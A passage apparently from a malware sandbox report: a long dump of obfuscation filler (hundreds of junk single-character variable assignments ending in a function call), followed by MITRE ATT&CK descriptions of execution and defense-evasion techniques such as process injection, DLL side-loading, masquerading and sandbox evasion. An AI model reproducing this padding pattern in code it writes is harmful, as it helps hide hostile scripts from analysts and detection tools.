514	vwqejy = "H";
515	vwqejy = "b";
516	vwqejy = "q";
517	vwqejy = "k";
518	vwqejy = "n";
519	vwqejy = "J";
520	vwqejy = "L";
521	vwqejy = "y";
522	vwqejy = "p";
523	vwqejy = "t";
524	vwqejy = "M";
525	vwqejy = "x";
526	vwqejy = "D";
527	vwqejy = "k";
528	vwqejy = "Z";
529	vwqejy = "H";
530	vwqejy = "N";
531	vwqejy = "h";
532	vwqejy = "n";
533	vwqejy = "N";
534	vwqejy = "X";
535	vwqejy = "A";
536	vwqejy = "L";
537	vwqejy = "q";
538	vwqejy = "K";
539	vwqejy = "N";
540	vwqejy = "K";
541	vwqejy = "B";
542	vwqejy = "q";
543	vwqejy = "m";
544	vwqejy = "d";
545	vwqejy = "U";
546	mnqsz = "a";
547	mnqsz = "S";
548	mnqsz = "C";
549	mnqsz = "q";
550	mnqsz = "h";
551	mnqsz = "F";
552	mnqsz = "M";
553	mnqsz = "O";
554	mnqsz = "O";
555	mnqsz = "U";
556	mnqsz = "v";
557	mnqsz = "L";
558	mnqsz = "x";
559	mnqsz = "P";
560	mnqsz = "Z";
561	mnqsz = "s";
562	mnqsz = "m";
563	mnqsz = "a";
564	mnqsz = "u";
565	mnqsz = "Z";
566	mnqsz = "x";
567	mnqsz = "L";
568	mnqsz = "r";
569	mnqsz = "q";
570	mnqsz = "y";
571	mnqsz = "v";
572	mnqsz = "K";
573	mnqsz = "l";
574	mnqsz = ".";
575	eplrtgfr = "h";
576	eplrtgfr = "i";
577	eplrtgfr = "@";
578	wwyorjg = "g";
579	wwyorjg = "y";
580	wwyorjg = "J";
581	wwyorjg = "h";
582	wwyorjg = "g";
583	wwyorjg = "D";
584	wwyorjg = "R";
585	wwyorjg = "p";
586	wwyorjg = "r";
587	wwyorjg = "i";
588	wwyorjg = "m";
589	wwyorjg = "H";
590	wwyorjg = "T";
591	wwyorjg = "p";
592	wwyorjg = "a";
593	wwyorjg = "i";
594	wwyorjg = "g";
595	wwyorjg = "z";
596	wwyorjg = "N";
597	wwyorjg = "w";
598	wwyorjg = "M";
599	wwyorjg = "f";
600	wwyorjg = "V";
601	wwyorjg = "n";
602	wwyorjg = "o";
603	wwyorjg = "L";
604	wwyorjg = "W";
605	wwyorjg = "K";
606	wwyorjg = "G";
607	wwyorjg = "i";
608	wwyorjg = "m";
609	wwyorjg = "q";
610	wwyorjg = "P";
611	wwyorjg = "k";
612	wwyorjg = "/";
613	rymwwljcz = "x";
614	rymwwljcz = "r";
615	rymwwljcz = "&";
616	opbahx = "J";
617	opbahx = "j";
618	opbahx = "P";
619	opbahx = "p";
620	opbahx = "O";
621	opbahx = "Y";
622	opbahx = "T";
623	opbahx = "O";
624	opbahx = "A";
625	opbahx = "y";
626	opbahx = "Y";
627	opbahx = "I";
628	opbahx = "f";
629	opbahx = "C";
630	opbahx = "B";
631	opbahx = "R";
632	opbahx = "F";
633	opbahx = "p";
634	opbahx = "a";
635	opbahx = "h";
636	opbahx = "k";
637	opbahx = "B";
638	opbahx = "f";
639	opbahx = "c";
640	opbahx = "v";
641	opbahx = "i";
642	wjexr = "l";
643	wjexr = "X";
644	wjexr = "j";
645	wjexr = "G";
646	wjexr = "t";
647	wjexr = "X";
648	wjexr = "Z";
649	wjexr = "L";
650	wjexr = "V";
651	wjexr = "R";
652	wjexr = "q";
653	wjexr = "o";
654	wjexr = "J";
655	wjexr = "p";
656	wjexr = "Q";
657	wjexr = "c";
658	wjexr = "u";
659	wjexr = "y";
660	wjexr = "d";
661	wjexr = "D";
662	wjexr = "y";
663	wjexr = "K";
664	wjexr = "R";
665	wjexr = "t";
666	wjexr = "v";
667	wjexr = "i";
668	wjexr = "P";
669	wjexr = "L";
670	wjexr = "j";
671	wjexr = "U";
672	wjexr = "v";
673	wjexr = "g";
674	wjexr = "R";
675	wjexr = "V";
676	wjexr = "R";
677	wjexr = "z";
678	wjexr = "x";
679	wjexr = "v";
680	wjexr = "u";
681	syxogqc = "e";
682	syxogqc = "R";
683	syxogqc = "J";
684	syxogqc = "c";
685	syxogqc = "a";
686	syxogqc = "T";
687	syxogqc = "P";
688	syxogqc = "T";
689	syxogqc = "K";
690	syxogqc = "U";
691	syxogqc = "E";
692	syxogqc = "W";
693	syxogqc = "A";
694	syxogqc = "q";
695	syxogqc = "m";
696	syxogqc = "b";
697	syxogqc = "H";
698	syxogqc = "u";
699	syxogqc = "g";
700	syxogqc = "n";
701	syxogqc = "L";
702	swwys = "o";
703	swwys = "f";
704	swwys = "r";
705	swwys = "z";
706	swwys = "s";
707	swwys = "G";
708	swwys = "g";
709	swwys = "i";
710	swwys = "B";
711	swwys = "d";
712	swwys = "U";
713	swwys = "b";
714	swwys = "n";
715	swwys = "p";
716	swwys = "P";
717	swwys = "p";
718	swwys = "i";
719	swwys = "p";
720	swwys = "O";
721	swwys = "m";
722	swwys = "j";
723	swwys = "d";
724	swwys = "q";
725	swwys = "b";
726	swwys = "v";
727	swwys = "v";
728	drveftsyz = "q";
729	drveftsyz = "c";
730	drveftsyz = "n";
731	drveftsyz = "e";
732	drveftsyz = "P";
733	drveftsyz = "g";
734	drveftsyz = "V";
735	drveftsyz = "o";
736	drveftsyz = "N";
737	drveftsyz = "T";
738	drveftsyz = "p";
739	drveftsyz = "g";
740	drveftsyz = "d";
741	drveftsyz = "m";
742	drveftsyz = "b";
743	drveftsyz = "B";
744	drveftsyz = "H";
745	drveftsyz = "u";
746	drveftsyz = "r";
747	drveftsyz = "W";
748	drveftsyz = "d";
749	drveftsyz = "L";
750	drveftsyz = "Q";
751	drveftsyz = "a";
752	drveftsyz = "p";
753	drveftsyz = "h";
754	drveftsyz = "l";
755	drveftsyz = "w";
756	drveftsyz = "s";
757	drveftsyz = "W";
758	drveftsyz = "O";
759	drveftsyz = "%";
760	dzdsnf = "v";
761	dzdsnf = "D";
762	dzdsnf = "o";
763	dzdsnf = "z";
764	dzdsnf = "V";
765	dzdsnf = "f";
766	dzdsnf = "Z";
767	dzdsnf = "m";
768	dzdsnf = "W";
769	dzdsnf = "X";
770	dzdsnf = "m";
771	dzdsnf = "Z";
772	dzdsnf = "w";
773	dzdsnf = "y";
774	dzdsnf = "z";
775	dzdsnf = "t";
776	dzdsnf = "E";
777	dzdsnf = "o";
778	mmwfpti = "d";
779	mmwfpti = "B";
780	mmwfpti = "c";
781	mmwfpti = "t";
782	mmwfpti = "L";
783	mmwfpti = "l";
784	mmwfpti = "S";
785	mmwfpti = "i";
786	mmwfpti = "g";
787	mmwfpti = "K";
788	mmwfpti = "N";
789	mmwfpti = "g";
790	mmwfpti = "x";
791	mmwfpti = "O";
792	mmwfpti = "E";
793	mmwfpti = "P";
794	mmwfpti = "l";
795	mmwfpti = "t";
796	mmwfpti = "A";
797	mmwfpti = "v";
798	mmwfpti = "6";
799	epvvexl = "m";
800	epvvexl = "p";
801	epvvexl = "z";
802	epvvexl = "a";
803	epvvexl = "G";
804	epvvexl = "p";
805	epvvexl = "U";
806	epvvexl = "p";
807	epvvexl = "w";
808	epvvexl = "j";
809	epvvexl = "C";
810	epvvexl = "d";
811	epvvexl = "g";
812	epvvexl = "H";
813	epvvexl = "-";
814	qibrzz = "F";
815	qibrzz = "t";
816	qibrzz = "h";
817	qibrzz = "o";
818	qibrzz = "F";
819	qibrzz = "h";
820	qibrzz = "B";
821	qibrzz = "v";
822	qibrzz = "g";
823	qibrzz = "V";
824	qibrzz = "B";
825	qibrzz = "E";
826	qibrzz = "E";
827	qibrzz = "v";
828	qibrzz = "g";
829	qibrzz = "A";
830	qibrzz = "z";
831	qibrzz = "W";
832	qibrzz = "O";
833	qibrzz = "O";
834	qibrzz = "F";
835	qibrzz = "p";
836	qibrzz = "B";
837	qibrzz = "U";
838	qibrzz = "f";
839	lhonz = "P";
840	lhonz = "k";
841	lhonz = "g";
842	lhonz = "A";
843	lhonz = "M";
844	lhonz = "a";
845	lhonz = "S";
846	lhonz = "U";
847	lhonz = "R";
848	lhonz = "B";
849	lhonz = "P";
850	lhonz = "f";
851	lhonz = "D";
852	lhonz = "J";
853	lhonz = "q";
854	lhonz = "h";
855	lhonz = "T";
856	lhonz = "f";
857	lhonz = "Q";
858	lhonz = "y";
859	lhonz = "h";
860	lhonz = "t";
861	lhonz = "J";
862	lhonz = "c";
863	lhonz = "m";
864	lhonz = "C";
865	lhonz = "v";
866	lhonz = "O";
867	lhonz = "V";
868	lhonz = "w";
869	lhonz = "w";
870	lhonz = "z";
871	lhonz = "e";
872	lhonz = "E";
873	lhonz = "M";
874	lhonz = "n";
875	lhonz = "Z";
876	lhonz = "\"";
877	esunb = "c";
878	esunb = "i";
879	esunb = "b";
880	esunb = "d";
881	esunb = "Q";
882	esunb = "e";
883	esunb = "m";
884	esunb = "j";
885	esunb = "Y";
886	cgikeud = "G";
887	cgikeud = "h";
888	cgikeud = "c";
889	cgikeud = "F";
890	cgikeud = "i";
891	cgikeud = "V";
892	cgikeud = "w";
893	cgikeud = "s";
894	cgikeud = "g";
895	cgikeud = "J";
896	cgikeud = "U";
897	cgikeud = "X";
898	cgikeud = "n";
899	cgikeud = "C";
900	cgikeud = "I";
901	cgikeud = "y";
902	cgikeud = "b";
903	cgikeud = "u";
904	cgikeud = "N";
905	cgikeud = "u";
906	cgikeud = "h";
907	cgikeud = "c";
908	cgikeud = "O";
909	cgikeud = "F";
910	cgikeud = "K";
911	cgikeud = "u";
912	cgikeud = "D";
913	cgikeud = "L";
914	cgikeud = "g";
915	cgikeud = "h";
916	cgikeud = "X";
917	cgikeud = "t";
918	cgikeud = "a";
919	cgikeud = "y";
920	cgikeud = "Y";
921	cgikeud = "f";
922	cgikeud = "F";
923	cgikeud = "u";
924	cgikeud = "L";
925	cgikeud = "V";
926	cgikeud = "i";
927	cgikeud = "V";
928	cgikeud = "r";
929	cgikeud = "9";
930	pvldfb = "B";
931	pvldfb = "c";
932	pvldfb = "c";
933	pvldfb = "U";
934	pvldfb = "S";
935	pvldfb = "Y";
936	pvldfb = "h";
937	pvldfb = "h";
938	pvldfb = "Y";
939	pvldfb = "W";
940	pvldfb = "S";
941	pvldfb = "o";
942	pvldfb = "o";
943	pvldfb = "o";
944	pvldfb = "X";
945	pvldfb = "O";
946	pvldfb = "p";
947	pvldfb = "D";
948	pvldfb = "m";
949	pvldfb = "f";
950	pvldfb = "B";
951	pvldfb = "r";
952	pvldfb = "c";
953	pvldfb = "Z";
954	pvldfb = "Q";
955	pvldfb = "P";
956	pvldfb = "U";
957	pvldfb = "S";
958	pvldfb = "s";
959	pvldfb = "e";
960	pvldfb = " ";
961	lrcfhldwg = "c";
962	lrcfhldwg = "b";
963	lrcfhldwg = "j";
964	lrcfhldwg = "D";
965	lrcfhldwg = "I";
966	lrcfhldwg = "M";
967	lrcfhldwg = "L";
968	lrcfhldwg = "N";
969	lrcfhldwg = "s";
970	lrcfhldwg = "C";
971	lrcfhldwg = "X";
972	lrcfhldwg = "C";
973	lrcfhldwg = "y";
974	lrcfhldwg = "k";
975	lrcfhldwg = "s";
976	lrcfhldwg = "N";
977	lrcfhldwg = "y";
978	lrcfhldwg = "o";
979	lrcfhldwg = "V";
980	lrcfhldwg = "I";
981	lrcfhldwg = "V";
982	lrcfhldwg = "q";
983	lrcfhldwg = "C";
984	lrcfhldwg = "x";
985	lrcfhldwg = "G";
986	lrcfhldwg = "c";
987	lrcfhldwg = "g";
988	lrcfhldwg = "T";
989	lrcfhldwg = "h";
990	czasvpb = "j";
991	czasvpb = "i";
992	czasvpb = "G";
993	czasvpb = "V";
994	czasvpb = "F";
995	czasvpb = "V";
996	czasvpb = "v";
997	czasvpb = "x";
998	czasvpb = "V";
999	czasvpb = "F";
1000	czasvpb = "f";
1001	czasvpb = "K";
1002	czasvpb = "C";
1003	zwelnqmvw = "v";
1004	zwelnqmvw = "b";
1005	zwelnqmvw = "w";
1006	zwelnqmvw = "T";
1007	zwelnqmvw = "u";
1008	zwelnqmvw = "N";
1009	zwelnqmvw = "Q";
1010	zwelnqmvw = "i";
1011	zwelnqmvw = "r";
1012	zwelnqmvw = "F";
1013	zwelnqmvw = "G";
1014	zwelnqmvw = "L";
1015	zwelnqmvw = "m";
1016	zwelnqmvw = "p";
1017	pecyrq = "Y";
1018	pecyrq = "V";
1019	pecyrq = "P";
1020	pecyrq = "z";
1021	pecyrq = "z";
1022	pecyrq = "J";
1023	pecyrq = "g";
1024	pecyrq = "j";
1025	pecyrq = "h";
1026	pecyrq = "O";
1027	pecyrq = "i";
1028	pecyrq = "a";
1029	pecyrq = "G";
1030	pecyrq = "z";
1031	pecyrq = "A";
1032	pecyrq = "i";
1033	pecyrq = "c";
1034	pecyrq = "q";
1035	pecyrq = "Q";
1036	pecyrq = "H";
1037	acxnc = "g";
1038	ocatau = "M";
1039	ocatau = "G";
1040	ocatau = "x";
1041	ocatau = "h";
1042	ocatau = "z";
1043	ocatau = "x";
1044	ocatau = "T";
1045	ocatau = "l";
1046	ocatau = "a";
1047	ocatau = "3";
1048	akovthz = "u";
1049	akovthz = "Y";
1050	akovthz = "c";
1051	akovthz = "v";
1052	akovthz = "q";
1053	akovthz = "S";
1054	akovthz = "i";
1055	akovthz = "m";
1056	akovthz = "j";
1057	akovthz = "a";
1058	akovthz = "N";
1059	akovthz = "d";
1060	akovthz = "I";
1061	akovthz = "X";
1062	akovthz = "B";
1063	akovthz = "t";
1064	akovthz = "f";
1065	akovthz = "W";
1066	akovthz = "p";
1067	akovthz = "H";
1068	akovthz = "S";
1069	akovthz = "L";
1070	akovthz = "d";
1071	akovthz = "M";
1072	akovthz = "N";
1073	akovthz = "w";
1074	akovthz = "s";
1075	akovthz = "q";
1076	akovthz = "N";
1077	akovthz = "x";
1078	akovthz = "c";
1079	akovthz = "H";
1080	akovthz = "m";
1081	akovthz = "Z";
1082	akovthz = "I";
1083	akovthz = "r";
1084	akovthz = "Q";
1085	akovthz = "V";
1086	akovthz = "t";
1087	akovthz = "W";
1088	akovthz = "g";
1089	akovthz = "m";
1090	jclciy = "k";
1091	jclciy = "x";
1092	jclciy = "d";
1093	jclciy = "j";
1094	jclciy = "q";
1095	jclciy = "q";
1096	jclciy = "i";
1097	jclciy = "v";
1098	jclciy = "g";
1099	jclciy = "H";
1100	jclciy = "L";
1101	jclciy = "I";
1102	jclciy = "p";
1103	jclciy = "S";
1104	jclciy = "J";
1105	jclciy = "T";
1106	jclciy = "l";
1107	jclciy = "I";
1108	jclciy = "P";
1109	jclciy = "D";
1110	jclciy = "S";
1111	jclciy = "Z";
1112	jclciy = "F";
1113	bfabd = "S";
1114	bfabd = "p";
1115	bfabd = "R";
1116	bfabd = "J";
1117	bfabd = "U";
1118	bfabd = "4";
1119	pejgj = "x";
1120	pejgj = "I";
1121	pejgj = "R";
1122	pejgj = "z";
1123	pejgj = "O";
1124	pejgj = "P";
1125	pejgj = "P";
1126	pejgj = "v";
1127	pejgj = "l";
1128	pejgj = "j";
1129	pdnwm = "h";
1130	pdnwm = "u";
1131	pdnwm = "P";
1132	pdnwm = "p";
1133	pdnwm = "S";
1134	pdnwm = "u";
1135	pdnwm = "I";
1136	pdnwm = "p";
1137	pdnwm = "J";
1138	pdnwm = "z";
1139	pdnwm = "l";
1140	pdnwm = "Q";
1141	pdnwm = "P";
1142	pdnwm = "X";
1143	pdnwm = "C";
1144	pdnwm = "X";
1145	pdnwm = "n";
1146	pdnwm = "X";
1147	pdnwm = "x";
1148	pdnwm = "J";
1149	pdnwm = "I";
1150	pdnwm = "A";
1151	pdnwm = "y";
1152	pdnwm = "r";
1153	pdnwm = "V";
1154	pdnwm = "M";
1155	pdnwm = "g";
1156	pdnwm = "Z";
1157	pdnwm = "X";
1158	pdnwm = "u";
1159	pdnwm = "X";
1160	pdnwm = "x";
1161	pdnwm = "y";
1162	pdnwm = "h";
1163	pdnwm = "r";
1164	pdnwm = "P";
1165	pdnwm = "o";
1166	pdnwm = "q";
1167	psooxvimg = "x";
1168	psooxvimg = "h";
1169	psooxvimg = "a";
1170	psooxvimg = "G";
1171	psooxvimg = "s";
1172	psooxvimg = "p";
1173	psooxvimg = "K";
1174	psooxvimg = "P";
1175	psooxvimg = "d";
1176	psooxvimg = "f";
1177	psooxvimg = "U";
1178	psooxvimg = "j";
1179	psooxvimg = "V";
1180	psooxvimg = "f";
1181	psooxvimg = "I";
1182	psooxvimg = "u";
1183	psooxvimg = "s";
1184	psooxvimg = "h";
1185	psooxvimg = "L";
1186	psooxvimg = "P";
1187	psooxvimg = "N";
1188	psooxvimg = "Z";
1189	psooxvimg = "t";
1190	awkhv = "z";
1191	awkhv = "v";
1192	awkhv = "R";
1193	awkhv = "K";
1194	awkhv = "t";
1195	awkhv = "K";
1196	awkhv = "T";
1197	awkhv = "s";
1198	awkhv = "a";
1199	awkhv = "L";
1200	awkhv = "Y";
1201	awkhv = "X";
1202	awkhv = "o";
1203	awkhv = "O";
1204	awkhv = "H";
1205	awkhv = "u";
1206	awkhv = "p";
1207	awkhv = "s";
1208	awkhv = "t";
1209	awkhv = "c";
1210	awkhv = "E";
1211	awkhv = "w";
1212	awkhv = "f";
1213	awkhv = "J";
1214	awkhv = "v";
1215	awkhv = "i";
1216	awkhv = "h";
1217	awkhv = "s";
1218	awkhv = "c";
1219	awkhv = "B";
1220	awkhv = "l";
1221	awkhv = "A";
1222	awkhv = "A";
1223	awkhv = "j";
1224	awkhv = "p";
1225	awkhv = "y";
1226	awkhv = "V";
1227	awkhv = "a";
1228	awkhv = "I";
1229	awkhv = "z";
1230	awkhv = "R";
1231	awkhv = "M";
1232	awkhv = "i";
1233	awkhv = "I";
1234	zrjzjrz = "S";
1235	zrjzjrz = "c";
1236	zrjzjrz = "t";
1237	zrjzjrz = "s";
1238	zrjzjrz = "Z";
1239	zrjzjrz = "b";
1240	zrjzjrz = "q";
1241	zrjzjrz = "C";
1242	zrjzjrz = "G";
1243	zrjzjrz = "Q";
1244	zrjzjrz = "K";
1245	zrjzjrz = "y";
1246	zrjzjrz = "H";
1247	zrjzjrz = "t";
1248	zrjzjrz = "x";
1249	zrjzjrz = "w";
1250	zrjzjrz = "W";
1251	zrjzjrz = "u";
1252	zrjzjrz = "T";
1253	zrjzjrz = "f";
1254	zrjzjrz = "B";
1255	zrjzjrz = "K";
1256	zrjzjrz = "f";
1257	zrjzjrz = "g";
1258	zrjzjrz = "l";
1259	zrjzjrz = "E";
1260	zrjzjrz = "H";
1261	zrjzjrz = "b";
1262	zrjzjrz = "O";
1263	zrjzjrz = "w";
1264	zrjzjrz = "i";
1265	zrjzjrz = "c";
1266	zrjzjrz = "s";
1267	zrjzjrz = "e";
1268	zrjzjrz = "1";
1269	fxpzhmktb = "S";
1270	fxpzhmktb = "j";
1271	fxpzhmktb = "5";
1272	rqzysotkd = "g";
1273	rqzysotkd = "D";
1274	rqzysotkd = "T";
1275	kfjnwzix = "O";
1276	kfjnwzix = "D";
1277	kfjnwzix = "B";
1278	kfjnwzix = "T";
1279	kfjnwzix = "f";
1280	kfjnwzix = "Z";
1281	kfjnwzix = "K";
1282	kfjnwzix = "B";
1283	kfjnwzix = "W";
1284	kfjnwzix = "i";
1285	kfjnwzix = "v";
1286	kfjnwzix = "Y";
1287	kfjnwzix = "W";
1288	kfjnwzix = "Y";
1289	kfjnwzix = "T";
1290	kfjnwzix = "i";
1291	kfjnwzix = "i";
1292	kfjnwzix = "N";
1293	kfjnwzix = "O";
1294	kfjnwzix = "z";
1295	kfjnwzix = "P";
1296	kfjnwzix = "q";
1297	kfjnwzix = "q";
1298	kfjnwzix = "7";
1299	yascx = "l";
1300	yascx = "z";
1301	yascx = "e";
1302	yascx = "Q";
1303	yascx = "E";
1304	yascx = "N";
1305	yascx = "m";
1306	yascx = "b";
1307	yascx = "Z";
1308	yascx = "p";
1309	yascx = "Z";
1310	yascx = "C";
1311	yascx = "s";
1312	yascx = "p";
1313	yascx = "l";
1314	yascx = "L";
1315	yascx = "t";
1316	yascx = "b";
1317	yascx = "u";
1318	yascx = "y";
1319	yascx = "g";
1320	yascx = "z";
1321	yascx = "J";
1322	yascx = "u";
1323	yascx = "U";
1324	yascx = "H";
1325	yascx = "w";
1326	yascx = "C";
1327	yascx = "c";
1328	yascx = "N";
1329	yascx = "W";
1330	yascx = "T";
1331	yascx = "G";
1332	yascx = "q";
1333	yascx = "f";
1334	yascx = "e";
1335	yascx = "A";
1336	yascx = "R";
1337	yascx = "L";
1338	yascx = "D";
1339	yascx = "R";
1340	yascx = "c";
1341	yascx = "b";
1342	icrmuyxhf = "G";
1343	icrmuyxhf = "h";
1344	icrmuyxhf = "Z";
1345	icrmuyxhf = "o";
1346	icrmuyxhf = "V";
1347	icrmuyxhf = "t";
1348	icrmuyxhf = "F";
1349	icrmuyxhf = "d";
1350	icrmuyxhf = "q";
1351	icrmuyxhf = "B";
1352	icrmuyxhf = "L";
1353	icrmuyxhf = "N";
1354	icrmuyxhf = "q";
1355	icrmuyxhf = "R";
1356	icrmuyxhf = "K";
1357	icrmuyxhf = "E";
1358	icrmuyxhf = "i";
1359	icrmuyxhf = "R";
1360	cvbjrpwe = "t";
1361	cvbjrpwe = "l";
1362	cvbjrpwe = "C";
1363	cvbjrpwe = "s";
1364	cvbjrpwe = "K";
1365	cvbjrpwe = "o";
1366	cvbjrpwe = "I";
1367	cvbjrpwe = "U";
1368	cvbjrpwe = "o";
1369	cvbjrpwe = "x";
1370	cvbjrpwe = "N";
1371	cvbjrpwe = "Q";
1372	cvbjrpwe = "t";
1373	cvbjrpwe = "n";
1374	cvbjrpwe = "L";
1375	cvbjrpwe = "s";
1376	cvbjrpwe = "z";
1377	cvbjrpwe = "A";
1378	cvbjrpwe = "n";
1379	cvbjrpwe = "R";
1380	cvbjrpwe = "J";
1381	cvbjrpwe = "s";
1382	cvbjrpwe = "k";
1383	cvbjrpwe = "c";
1384	emnuxjeb = "c";
1385	emnuxjeb = "R";
1386	emnuxjeb = "y";
1387	emnuxjeb = "r";
1388	stzgulog = "p";
1389	stzgulog = "Y";
1390	stzgulog = "J";
1391	stzgulog = "U";
1392	stzgulog = "m";
1393	stzgulog = "u";
1394	stzgulog = "n";
1395	stzgulog = "O";
1396	stzgulog = "m";
1397	stzgulog = "O";
1398	stzgulog = "a";
1399	stzgulog = "Z";
1400	stzgulog = "y";
1401	stzgulog = "V";
1402	stzgulog = "D";
1403	stzgulog = "R";
1404	stzgulog = "L";
1405	stzgulog = "a";
1406	stzgulog = "b";
1407	stzgulog = "r";
1408	stzgulog = "y";
1409	stzgulog = "q";
1410	stzgulog = "C";
1411	stzgulog = "Y";
1412	stzgulog = "N";
1413	stzgulog = "q";
1414	stzgulog = "B";
1415	stzgulog = "S";
1416	stzgulog = "t";
1417	stzgulog = "A";
1418	stzgulog = "i";
1419	stzgulog = "b";
1420	stzgulog = "V";
1421	stzgulog = "X";
1422	stzgulog = "V";
1423	stzgulog = "K";
1424	stzgulog = "j";
1425	stzgulog = "y";
1426	stzgulog = "w";
1427	stzgulog = "O";
1428	stzgulog = "X";
1429	stzgulog = "F";
1430	stzgulog = "n";
1431	ozpxkvzt = "i";
1432	ozpxkvzt = "k";
1433	ozpxkvzt = "q";
1434	ozpxkvzt = "K";
1435	ozpxkvzt = "D";
1436	ozpxkvzt = "V";
1437	ozpxkvzt = "O";
1438	ozpxkvzt = "n";
1439	ozpxkvzt = "j";
1440	ozpxkvzt = "e";
1441	ozpxkvzt = "q";
1442	ozpxkvzt = "M";
1443	ozpxkvzt = "Z";
1444	ozpxkvzt = "H";
1445	ozpxkvzt = "h";
1446	ozpxkvzt = "F";
1447	ozpxkvzt = "b";
1448	ozpxkvzt = "n";
1449	ozpxkvzt = "R";
1450	ozpxkvzt = "C";
1451	ozpxkvzt = "v";
1452	ozpxkvzt = "V";
1453	ozpxkvzt = "b";
1454	ozpxkvzt = "z";
1455	ozpxkvzt = "I";
1456	ozpxkvzt = "w";
1457	ozpxkvzt = "N";
1458	ozpxkvzt = "y";
1459	ozpxkvzt = "r";
1460	ozpxkvzt = "N";
1461	eimcn = "d";
1462	eimcn = "h";
1463	eimcn = "r";
1464	eimcn = "e";
1465	eimcn = "D";
1466	eimcn = "V";
1467	eimcn = "J";
1468	eimcn = "r";
1469	eimcn = "U";
1470	eimcn = "a";
1471	eimcn = "r";
1472	eimcn = "k";
1473	eimcn = "B";
1474	eimcn = "H";
1475	eimcn = "Z";
1476	eimcn = "E";
1477	eimcn = "d";
1478	mfiygszjx ( );	mfiygszjx() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

